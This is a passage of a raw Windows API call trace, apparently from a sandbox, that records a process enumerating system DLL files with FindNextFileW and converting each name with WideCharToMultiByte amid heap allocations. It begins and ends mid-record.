hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.318] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.319] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.319] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.319] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.319] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.319] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.320] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d7c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.320] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d7c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.320] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d7c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.320] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.320] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.320] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d7c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.321] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d7c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.321] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.321] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.321] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.321] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.322] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.322] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.322] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.322] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, 